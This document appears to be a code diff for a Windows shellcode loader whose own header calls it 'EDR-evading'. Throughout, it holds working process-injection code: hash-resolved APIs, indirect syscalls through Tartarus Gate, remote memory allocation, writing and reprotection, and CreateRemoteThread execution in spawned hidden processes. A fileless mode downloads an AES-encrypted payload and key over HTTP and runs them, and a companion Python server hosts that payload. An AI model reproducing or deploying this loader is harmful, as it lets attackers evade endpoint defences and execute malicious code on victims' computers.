Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError());
} else {
Log::Sys("OpenProcess OK handle=%p", h);
}
return h;
}
bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) {
auto* k32 = ApiResolver::GetKernel32();
if (!k32) {
return false;
}
using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*);
using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES,
LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
auto* pSearch = reinterpret_cast<SearchPathW_t>(
ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW));
auto* pCreate = reinterpret_cast<CreateProcessW_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW));
auto* pClose = reinterpret_cast<CloseHandle_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
if (!pSearch || !pCreate || !pClose) {
Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed");
return false;
}
wchar_t pathBuf[MAX_PATH] = {};
wchar_t* filePart = nullptr;
if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) {
Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str());
return false;
}
Log::Sys("Spawn: resolved %ls", pathBuf);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi{};
const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) {
Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError());
return false;
}
out.hProcess = pi.hProcess;
out.hThread = pi.hThread;
out.pid = pi.dwProcessId;
out.spawned = true;
Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str());
return true;
}
bool StageRemote(
TartarusGate::SyscallTable& sc,
HANDLE hProcess,
const std::vector<BYTE>& shellcode,
PVOID& remoteBase)
{
Log::Banner("Remote Stage (alloc + write + protect)");
PVOID base = nullptr;
SIZE_T region = SectionMap::PageAlign(shellcode.size());
Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE",
hProcess, static_cast<size_t>(region));
NTSTATUS st = sc.NtAllocateVirtualMemory(
hProcess, &base, 0, &region,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Log::NtStatus("remote NtAllocateVirtualMemory", st);
if (!NT_SUCCESS(st) || !base) {
return false;
}
Log::Sys("remote RW region base=%p size=%zu", base, static_cast<size_t>(region));
SIZE_T written = 0;
Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size());
st = sc.NtWriteVirtualMemory(
hProcess, base,
const_cast<PVOID>(static_cast<const void*>(shellcode.data())),
shellcode.size(), &written);
Log::NtStatus("remote NtWriteVirtualMemory", st);
Log::Dbg("bytes written=%zu expected=%zu", static_cast<size_t>(written), shellcode.size());
if (!NT_SUCCESS(st) || written != shellcode.size()) {
return false;
}
ULONG old = 0;
PVOID prot = base;
SIZE_T protSize = region;
Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)",
base, static_cast<size_t>(protSize));
st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old);
Log::NtStatus("remote NtProtectVirtualMemory", st);
if (!NT_SUCCESS(st)) {
return false;
}
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
remoteBase = base;
Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast<size_t>(written));
return true;
}
bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) {
Log::Banner("Remote Execute (CreateRemoteThread)");
auto* k32 = ApiResolver::GetKernel32();
if (!k32) {
Log::Dbg("kernel32 base null");
return false;
}
using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
auto* pCRT = reinterpret_cast<CreateRemoteThread_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread));
auto* pClose = reinterpret_cast<CloseHandle_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
if (!pCRT || !pClose) {
Log::Warn("CreateRemoteThread hash resolve failed");
return false;
}
Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry);
DWORD tid = 0;
HANDLE hThread = pCRT(hProcess, nullptr, 0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
if (!hThread) {
Log::Warn("CreateRemoteThread failed (%lu)", GetLastError());
return false;
}
Log::Ok("Remote thread TID %lu at entry %p", tid, entry);
Log::Dbg("closing remote thread handle %p (thread continues)", hThread);
pClose(hThread);
return true;
}
bool ResumePrimary(RemoteTarget& target) {
if (!target.spawned || !target.hThread) {
return true;
}
auto* k32 = ApiResolver::GetKernel32();
auto* pResume = reinterpret_cast<DWORD(WINAPI*)(HANDLE)>(
ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread));
if (!pResume) {
return false;
}
const DWORD rc = pResume(target.hThread);
Log::Sys("ResumeThread primary -> %lu", rc);
return rc != static_cast<DWORD>(-1);
}
} // namespace
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) {
Log::Banner("Acquire Target");
Log::Info("raw target arg='%s'", target.c_str());
out = {};
DWORD pid = 0;
if (IsNumericPid(target, pid)) {
Log::Info("Target parsed as numeric PID %lu", pid);
} else {
const std::string norm = NormalizeName(target);
Log::Dbg("normalized process name='%s'", norm.c_str());
if (!FindPidByName(sc, norm, pid)) {
Log::Info("Process '%s' not running — spawning headless", norm.c_str());
std::wstring wname(norm.begin(), norm.end());
if (!SpawnHeadless(wname, out)) {
return false;
}
return true;
}
Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid);
}
out.hProcess = OpenProcessSyscall(sc, pid);
if (!out.hProcess) {
Log::Dbg("syscall open failed — trying Win32 OpenProcess");
out.hProcess = OpenProcessWin32(pid);
}
if (!out.hProcess) {
Log::Err("Cannot open PID %lu", pid);
return false;
}
out.pid = pid;
out.spawned = false;
Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess);
return true;
}
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) {
if (target.hThread) {
sc.NtClose(target.hThread);
target.hThread = nullptr;
}
if (target.hProcess) {
sc.NtClose(target.hProcess);
target.hProcess = nullptr;
}
}
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode) {
if (!sc.initialized || !target.hProcess || shellcode.empty()) {
return false;
}
PVOID remoteBase = nullptr;
if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) {
return false;
}
Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid);
if (!ExecuteRemoteThread(target.hProcess, remoteBase)) {
return false;
}
if (!ResumePrimary(target)) {
Log::Warn("ResumeThread failed (injection may still run)");
}
return true;
}
static bool StageViaVirtualAlloc(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
PVOID& outExec)
{
Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)");
PVOID base = nullptr;
SIZE_T size = shellcode.size();
Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE",
static_cast<size_t>(size));
NTSTATUS st = sc.NtAllocateVirtualMemory(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Log::NtStatus("NtAllocateVirtualMemory", st);
if (!NT_SUCCESS(st) || !base) {
return false;
}
Log::Sys("local RW base=%p allocated=%zu", base, static_cast<size_t>(size));
std::memcpy(base, shellcode.data(), shellcode.size());
Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base);
ULONG old = 0;
PVOID prot = base;
SIZE_T protSize = size;
Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)");
st = sc.NtProtectVirtualMemory(
GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old);
Log::NtStatus("NtProtectVirtualMemory", st);
if (!NT_SUCCESS(st)) {
PVOID freeBase = base;
sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE);
Log::Dbg("freed failed region");
return false;
}
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
outExec = base;
return true;
}
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode) {
Log::Banner("RunLocal");
Log::Info("shellcode=%zu bytes", shellcode.size());
PVOID execMem = nullptr;
if (StageViaVirtualAlloc(sc, shellcode, execMem)) {
Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem);
const bool ok = SectionMap::ExecuteLocal(sc, execMem);
Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL");
SIZE_T freeSize = shellcode.size();
PVOID freeBase = execMem;
NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE);
Log::NtStatus("NtFreeVirtualMemory", st);
return ok;
}
Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView");
SectionMap::MappedRegion region{};
if (!SectionMap::StageLocal(sc, shellcode, region)) {
return false;
}
Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu",
region.localView, static_cast<size_t>(region.viewSize));
const bool ok = SectionMap::ExecuteLocal(sc, region.localView);
Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0);
SectionMap::Cleanup(sc, region, nullptr);
return ok;
}
} // namespace Ingestion
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#include <string>
#include <vector>
#include "../lib/syscall/tartarus_gate.hpp"
namespace Ingestion {
struct RemoteTarget {
HANDLE hProcess = nullptr;
HANDLE hThread = nullptr;
DWORD pid = 0;
bool spawned = false;
};
// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread.
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode);
// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing.
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out);
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target);
// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory
// in target via Tartarus Gate + CreateRemoteThread (API hash).
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode);
} // namespace Ingestion
+269
View File
@@ -0,0 +1,269 @@
#include "loader_core.hpp"
#include "ingestion.hpp"
#include "../lib/crypto/aes_crypto.hpp"
#include "../lib/net/http_transport.hpp"
#include "../lib/resolve/api_resolver.hpp"
#include "../lib/common/log.hpp"
#include <cstdint>
#include <fstream>
#include <iostream>
#include <vector>
namespace LoaderCore {
namespace {
TartarusGate::SyscallTable g_sc;
}
TartarusGate::SyscallTable& GetSyscalls() {
return g_sc;
}
bool Initialize() {
Log::Banner("Loader Init");
Log::Info("mode=loader — Tartarus Gate + PEB module resolve");
if (!TartarusGate::Initialize(g_sc)) {
Log::Err("Syscall init failed");
return false;
}
Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p",
ApiResolver::GetNtdll(), ApiResolver::GetKernel32(),
ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32());
Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0);
return true;
}
void Shutdown() {
Log::Dbg("Shutdown: cleaning Tartarus stubs");
TartarusGate::CleanupStubs();
g_sc = {};
}
static bool ReadFileToBuffer(const std::string& path, std::vector<BYTE>& out) {
Log::Dbg("ReadFile: path=%s", path.c_str());
std::ifstream f(path, std::ios::binary | std::ios::ate);
if (!f.is_open()) {
Log::Dbg("ReadFile: open failed");
return false;
}
out.resize(static_cast<size_t>(f.tellg()));
f.seekg(0);
f.read(reinterpret_cast<char*>(out.data()), out.size());
Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str());
return true;
}
static int DispatchShellcode(const Cli::Options& opt, std::vector<BYTE>& shellcode) {
Log::Banner("Dispatch Shellcode");
Log::Info("payload size=%zu remote=%s target=%s",
shellcode.size(),
opt.remoteIngestion ? "yes" : "no",
opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str());
Log::HexPreview("payload", shellcode.data(), shellcode.size());
if (opt.remoteIngestion) {
Log::Banner("Remote Ingestion");
Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size());
Ingestion::RemoteTarget target{};
if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) {
Log::Err("Target acquire failed: %s", opt.processTarget.c_str());
return 7;
}
Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d",
target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0);
if (!Ingestion::RunRemote(g_sc, target, shellcode)) {
Ingestion::ReleaseTarget(g_sc, target);
Log::Err("Remote injection failed (PID %lu)", target.pid);
return 9;
}
Ingestion::ReleaseTarget(g_sc, target);
Log::Dbg("target handles closed");
Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size());
return 0;
}
Log::Banner("Local Ingestion");
if (!Ingestion::RunLocal(g_sc, shellcode)) {
Log::Err("Local execution failed");
return 3;
}
Log::Ok("Local done — %zu bytes", shellcode.size());
return 0;
}
int RunNormal(const Cli::Options& opt) {
if (opt.inputPath == "__selftest__") {
Log::Banner("Self-Test");
Log::Info("checking PEB modules + AES roundtrip");
if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) {
Log::Err("PEB module resolve failed");
return 1;
}
Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt());
std::vector<BYTE> sample = { 0x90, 0x90, 0xC3 };
AesCrypto::KeyMaterial km{};
std::vector<BYTE> enc, dec;
if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) ||
!AesCrypto::Decrypt(enc, km, dec)) {
Log::Err("AES roundtrip failed");
return 2;
}
Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size());
Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget");
return 0;
}
Log::Banner("RunNormal");
Log::Info("input=%s remote=%s", opt.inputPath.c_str(),
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
std::vector<BYTE> shellcode;
if (!ReadFileToBuffer(opt.inputPath, shellcode)) {
Log::Err("Cannot read file");
return 2;
}
return DispatchShellcode(opt, shellcode);
}
int RunEncrypt(const Cli::Options& opt) {
Log::Banner("RunEncrypt");
Log::Info("AES encrypt file=%s", opt.inputPath.c_str());
std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end());
std::wstring encPath, keyPath;
if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) {
Log::Err("AES encrypt failed");
return 2;
}
Log::Ok("Encrypted — use .enc + .key or --server --enc AES");
Log::Info("output: .enc + .key written");
return 0;
}
int RunFileless(const Cli::Options& opt) {
HttpTransport::Endpoint ep{};
if (!HttpTransport::ParseSource(opt.sourceHost, ep)) {
Log::Err("Bad --source");
return 2;
}
Log::Banner("Fileless Client");
Log::Info("source host=%s port=%u aes=%s remote=%s",
ep.host.c_str(), ep.port,
opt.useAes ? "yes" : "no",
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port,
opt.useAes ? " + /api/v1/key" : "");
std::vector<std::uint8_t> payload;
if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) {
Log::Err("Payload fetch failed");
return 3;
}
Log::Info("payload fetched: %zu bytes", payload.size());
Log::HexPreview("http payload", payload.data(), payload.size());
std::vector<BYTE> shellcode;
if (opt.useAes) {
Log::Banner("Fileless AES Decrypt");
std::vector<std::uint8_t> keyBlob;
if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) {
Log::Err("Key fetch failed");
return 4;
}
Log::Info("key blob fetched: %zu bytes", keyBlob.size());
AesCrypto::KeyMaterial km{};
if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) {
Log::Err("Key unpack failed");
return 5;
}
Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size());
if (!AesCrypto::Decrypt(payload, km, shellcode)) {
Log::Err("Decrypt failed");
return 6;
}
Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size());
} else {
shellcode.assign(payload.begin(), payload.end());
Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size());
}
return DispatchShellcode(opt, shellcode);
}
int RunServer(const Cli::Options& opt) {
std::vector<std::uint8_t> payload;
std::vector<std::uint8_t> keyBlob;
Log::SrvBanner("Server Prep");
Log::Srv("input=%s aes=%s port=%u",
opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(),
opt.useAes ? "yes" : "no",
opt.serverPort);
if (!opt.inputPath.empty()) {
std::vector<BYTE> plain;
if (!ReadFileToBuffer(opt.inputPath, plain)) {
// ReadFile uses loader channel; mirror for server verbose
Log::Srv("failed to read server file: %s", opt.inputPath.c_str());
Log::Err("Cannot read server file -> Check file location ;( )");
return 2;
}
Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str());
if (opt.useAes) {
AesCrypto::KeyMaterial km{};
if (!AesCrypto::GenerateKeyMaterial(km) ||
!AesCrypto::Encrypt(plain, km, payload)) {
Log::Err("Server AES prep failed");
return 4;
}
keyBlob = AesCrypto::PackKeyMaterial(km);
Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu",
plain.size(), payload.size(), keyBlob.size());
Log::Ok("Server AES mode — port %u", opt.serverPort);
} else {
payload.assign(plain.begin(), plain.end());
Log::Srv("plain mode: serving %zu bytes", payload.size());
Log::Ok("Server plain mode — port %u", opt.serverPort);
}
} else {
std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate);
if (!encFile.is_open()) {
Log::Err("No file — use: loader.exe --server <file.bin>");
return 2;
}
payload.resize(static_cast<size_t>(encFile.tellg()));
encFile.seekg(0);
encFile.read(reinterpret_cast<char*>(payload.data()), payload.size());
std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate);
if (keyFile.is_open()) {
keyBlob.resize(static_cast<size_t>(keyFile.tellg()));
keyFile.seekg(0);
keyFile.read(reinterpret_cast<char*>(keyBlob.data()), keyBlob.size());
}
Log::Srv("fallback files: payload.enc=%zu payload.key=%zu",
payload.size(), keyBlob.size());
}
Log::SrvBanner("Fileless Server");
if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) {
Log::Err("Server bind failed");
return 5;
}
return 0;
}
} // namespace LoaderCore
+20
View File
@@ -0,0 +1,20 @@
#pragma once
#include "cli.hpp"
#include "../lib/syscall/tartarus_gate.hpp"
namespace LoaderCore {
// Global syscall table — initialized once per process.
TartarusGate::SyscallTable& GetSyscalls();
bool Initialize();
void Shutdown();
// Mode handlers
int RunNormal(const Cli::Options& opt);
int RunEncrypt(const Cli::Options& opt);
int RunFileless(const Cli::Options& opt);
int RunServer(const Cli::Options& opt);
} // namespace LoaderCore
+69
View File
@@ -0,0 +1,69 @@
// loader v2.0 — modular EDR-evading shellcode loader
// lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls,
// section mapping, AES crypto, HTTP fileless transport
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include "cli.hpp"
#include "loader_core.hpp"
#include "../lib/common/log.hpp"
int main(int argc, char* argv[]) {
SetConsoleOutputCP(CP_UTF8);
const Cli::Options opt = Cli::Parse(argc, argv);
// Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only.
if (opt.mode == Cli::Mode::Server) {
Log::SetVerbose(false);
Log::SetServerVerbose(opt.server_verbose);
} else {
Log::SetVerbose(opt.verbose);
Log::SetServerVerbose(false);
}
if (opt.mode == Cli::Mode::Help) {
Cli::PrintUsage();
return 1;
}
if (opt.mode == Cli::Mode::Banner) {
Cli::PrintBanner();
return 0;
}
// Server does not need Tartarus/syscall table; skip noisy init path.
if (opt.mode != Cli::Mode::Server) {
if (!LoaderCore::Initialize()) {
Log::Err("Syscall init failed");
return 10;
}
}
int rc = 0;
switch (opt.mode) {
case Cli::Mode::Normal:
rc = LoaderCore::RunNormal(opt);
break;
case Cli::Mode::Encrypt:
rc = LoaderCore::RunEncrypt(opt);
break;
case Cli::Mode::Fileless:
rc = LoaderCore::RunFileless(opt);
break;
case Cli::Mode::Server:
rc = LoaderCore::RunServer(opt);
break;
default:
Cli::PrintUsage();
rc = 1;
break;
}
LoaderCore::Shutdown();
return rc;
}
+65
View File
@@ -0,0 +1,65 @@
#!/usr/bin/env bash
# Linux fileless payload server (companion to loader.exe --server on Windows)
# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key]
set -euo pipefail
PORT=8080
PAYLOAD="payload.enc"
KEY="payload.key"
while [[ $# -gt 0 ]]; do
case "$1" in
--port) PORT="$2"; shift 2 ;;
--payload) PAYLOAD="$2"; shift 2 ;;
--key) KEY="$2"; shift 2 ;;
--server) shift ;;
*) echo "Unknown arg: $1"; exit 1 ;;
esac
done
if [[ ! -f "$PAYLOAD" ]]; then
echo "[!] Missing payload file: $PAYLOAD"
exit 1
fi
echo "[*] Linux fileless server on port $PORT"
echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health"
python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY'
import sys, os
from http.server import BaseHTTPRequestHandler, HTTPServer
port = int(sys.argv[1])
payload_path = sys.argv[2]
key_path = sys.argv[3]
with open(payload_path, 'rb') as f:
payload = f.read()
key = b''
if os.path.isfile(key_path):
with open(key_path, 'rb') as f:
key = f.read()
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/api/v1/payload'):
body = payload
elif self.path.startswith('/api/v1/key'):
body = key
elif self.path.startswith('/api/v1/health'):
body = b'OK'
else:
self.send_response(404)
self.end_headers()
return
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
sys.stderr.write("[server] " + (fmt % args) + "\n")
HTTPServer(('0.0.0.0', port), Handler).serve_forever()
PY
+16
View File
@@ -0,0 +1,16 @@
#include <iostream>
#include <iomanip>
#include "../lib/common/hashes.hpp"
int main() {
const char* names[] = {
"ntdll.dll", "NtAllocateVirtualMemory", "NtProtectVirtualMemory",
"NtCreateSection", "NtMapViewOfSection", "NtCreateThreadEx",
"NtQuerySystemInformation", "NtOpenProcess", "NtClose"
};
for (auto* n : names) {
std::cout << n << " djb2=0x" << std::hex << Hashes::Djb2(n)
<< " lower=0x" << Hashes::Djb2Lower(n) << std::dec << "\n";
}
return 0;
}